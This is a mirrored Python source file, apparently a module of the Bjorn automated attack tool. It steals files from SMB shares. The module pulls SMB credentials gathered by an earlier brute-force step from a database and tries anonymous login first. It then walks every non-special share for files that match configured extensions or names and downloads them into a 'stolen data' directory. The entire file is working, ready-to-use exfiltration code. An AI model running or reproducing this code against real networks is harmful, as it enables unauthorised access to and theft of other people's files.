mirror of
https://github.com/infinition/Bjorn.git
synced 2026-03-19 10:10:24 +00:00
b0584a1a8e
feat: Implement package management utilities with JSON endpoints for listing and uninstalling packages feat: Create plugin management utilities with endpoints for listing, configuring, and installing plugins feat: Develop schedule and trigger management utilities with CRUD operations for schedules and triggers
245 lines
10 KiB
Python
245 lines
10 KiB
Python
"""steal_files_smb.py - SMB share exfiltration using DB creds from SMBBruteforce."""
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import os
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import logging
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import time
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from threading import Timer
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from typing import List, Tuple, Dict, Optional
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from smb.SMBConnection import SMBConnection
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from shared import SharedData
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from logger import Logger
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logger = Logger(name="steal_files_smb.py", level=logging.DEBUG)
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b_class = "StealFilesSMB"
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b_module = "steal_files_smb"
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b_status = "steal_files_smb"
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b_parent = "SMBBruteforce"
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b_port = 445
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class StealFilesSMB:
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def __init__(self, shared_data: SharedData):
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self.shared_data = shared_data
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self.smb_connected = False
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self.stop_execution = False
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self.IGNORED_SHARES = set(self.shared_data.ignored_smb_shares or [])
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self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
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self._refresh_ip_identity_cache()
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logger.info("StealFilesSMB initialized")
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# -------- Identity cache --------
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def _refresh_ip_identity_cache(self) -> None:
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self._ip_to_identity.clear()
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try:
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rows = self.shared_data.db.get_all_hosts()
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except Exception as e:
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logger.error(f"DB get_all_hosts failed: {e}")
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rows = []
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for r in rows:
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mac = r.get("mac_address") or ""
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if not mac:
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continue
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hostnames_txt = r.get("hostnames") or ""
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current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
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ips_txt = r.get("ips") or ""
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if not ips_txt:
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continue
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for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
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self._ip_to_identity[ip] = (mac, current_hn)
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def mac_for_ip(self, ip: str) -> Optional[str]:
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if ip not in self._ip_to_identity:
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self._refresh_ip_identity_cache()
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return self._ip_to_identity.get(ip, (None, None))[0]
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def hostname_for_ip(self, ip: str) -> Optional[str]:
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if ip not in self._ip_to_identity:
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self._refresh_ip_identity_cache()
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return self._ip_to_identity.get(ip, (None, None))[1]
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# -------- Creds (grouped by share) --------
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def _get_creds_by_share(self, ip: str, port: int) -> Dict[str, List[Tuple[str, str]]]:
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"""
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Returns {share: [(user,pass), ...]} from DB.creds (service='smb', database=share).
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Prefer IP; also include MAC if known. Dedup per share.
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"""
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mac = self.mac_for_ip(ip)
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params = {"ip": ip, "port": port, "mac": mac or ""}
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by_ip = self.shared_data.db.query(
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"""
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SELECT "user","password","database"
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FROM creds
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WHERE service='smb'
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AND COALESCE(ip,'')=:ip
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AND (port IS NULL OR port=:port)
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""", params)
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by_mac = []
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if mac:
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by_mac = self.shared_data.db.query(
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"""
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SELECT "user","password","database"
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FROM creds
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WHERE service='smb'
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AND COALESCE(mac_address,'')=:mac
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AND (port IS NULL OR port=:port)
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""", params)
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out: Dict[str, List[Tuple[str, str]]] = {}
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seen: Dict[str, set] = {}
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for row in (by_ip + by_mac):
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share = str(row.get("database") or "").strip()
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user = str(row.get("user") or "").strip()
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pwd = str(row.get("password") or "").strip()
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if not user or not share:
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continue
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if share not in out:
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out[share], seen[share] = [], set()
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if (user, pwd) in seen[share]:
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continue
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seen[share].add((user, pwd))
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out[share].append((user, pwd))
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return out
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# -------- SMB helpers --------
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def connect_smb(self, ip: str, username: str, password: str) -> Optional[SMBConnection]:
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try:
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conn = SMBConnection(username, password, "Bjorn", "Target", use_ntlm_v2=True, is_direct_tcp=True)
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conn.connect(ip, b_port)
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self.smb_connected = True
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logger.info(f"Connected SMB {ip} as {username}")
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return conn
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except Exception as e:
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logger.error(f"SMB connect error {ip} {username}: {e}")
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return None
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def list_shares(self, conn: SMBConnection):
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try:
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shares = conn.listShares()
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return [s for s in shares if (s.name not in self.IGNORED_SHARES and not s.isSpecial and not s.isTemporary)]
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except Exception as e:
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logger.error(f"list_shares error: {e}")
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return []
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def find_files(self, conn: SMBConnection, share: str, dir_path: str) -> List[str]:
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files: List[str] = []
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try:
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for entry in conn.listPath(share, dir_path):
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if self.shared_data.orchestrator_should_exit or self.stop_execution:
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logger.info("File search interrupted.")
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return []
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if entry.isDirectory:
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if entry.filename not in ('.', '..'):
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files.extend(self.find_files(conn, share, os.path.join(dir_path, entry.filename)))
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else:
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name = entry.filename
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if any(name.endswith(ext) for ext in (self.shared_data.steal_file_extensions or [])) or \
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any(sn in name for sn in (self.shared_data.steal_file_names or [])):
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files.append(os.path.join(dir_path, name))
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return files
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except Exception as e:
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logger.error(f"SMB path error {share}:{dir_path}: {e}")
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raise
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def steal_file(self, conn: SMBConnection, share: str, remote_file: str, base_dir: str) -> None:
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try:
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local_file_path = os.path.join(base_dir, os.path.relpath(remote_file, '/'))
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os.makedirs(os.path.dirname(local_file_path), exist_ok=True)
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with open(local_file_path, 'wb') as f:
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conn.retrieveFile(share, remote_file, f)
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logger.success(f"Downloaded {share}:{remote_file} -> {local_file_path}")
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except Exception as e:
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logger.error(f"SMB download error {share}:{remote_file}: {e}")
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# -------- Orchestrator entry --------
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def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
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try:
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self.shared_data.bjorn_orch_status = b_class
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try:
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port_i = int(port)
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except Exception:
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port_i = b_port
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creds_by_share = self._get_creds_by_share(ip, port_i)
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logger.info(f"Found SMB creds for {len(creds_by_share)} share(s) in DB for {ip}")
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def _timeout():
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if not self.smb_connected:
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logger.error(f"No SMB connection within 4 minutes for {ip}. Failing.")
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self.stop_execution = True
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timer = Timer(240, _timeout)
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timer.start()
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mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
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success = False
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# Anonymous first (''/'')
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try:
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conn = self.connect_smb(ip, '', '')
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if conn:
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shares = self.list_shares(conn)
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for s in shares:
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files = self.find_files(conn, s.name, '/')
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if files:
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base = os.path.join(self.shared_data.data_stolen_dir, f"smb/{mac}_{ip}/{s.name}")
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for remote in files:
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if self.stop_execution or self.shared_data.orchestrator_should_exit:
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logger.info("Execution interrupted.")
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break
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self.steal_file(conn, s.name, remote, base)
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logger.success(f"Stole {len(files)} files from {ip} via anonymous on {s.name}")
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success = True
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try:
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conn.close()
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except Exception:
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pass
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except Exception as e:
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logger.info(f"Anonymous SMB failed on {ip}: {e}")
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if success:
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timer.cancel()
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return 'success'
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# Per-share credentials
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for share, creds in creds_by_share.items():
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if share in self.IGNORED_SHARES:
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continue
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for username, password in creds:
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if self.stop_execution or self.shared_data.orchestrator_should_exit:
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logger.info("Execution interrupted.")
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break
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try:
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conn = self.connect_smb(ip, username, password)
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if not conn:
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continue
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files = self.find_files(conn, share, '/')
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if files:
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base = os.path.join(self.shared_data.data_stolen_dir, f"smb/{mac}_{ip}/{share}")
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for remote in files:
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if self.stop_execution or self.shared_data.orchestrator_should_exit:
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logger.info("Execution interrupted.")
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break
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self.steal_file(conn, share, remote, base)
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logger.info(f"Stole {len(files)} files from {ip} share={share} as {username}")
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success = True
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try:
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conn.close()
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except Exception:
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pass
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if success:
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timer.cancel()
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return 'success'
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except Exception as e:
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logger.error(f"SMB loot error {ip} {share} {username}: {e}")
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timer.cancel()
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return 'success' if success else 'failed'
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except Exception as e:
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logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
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return 'failed'
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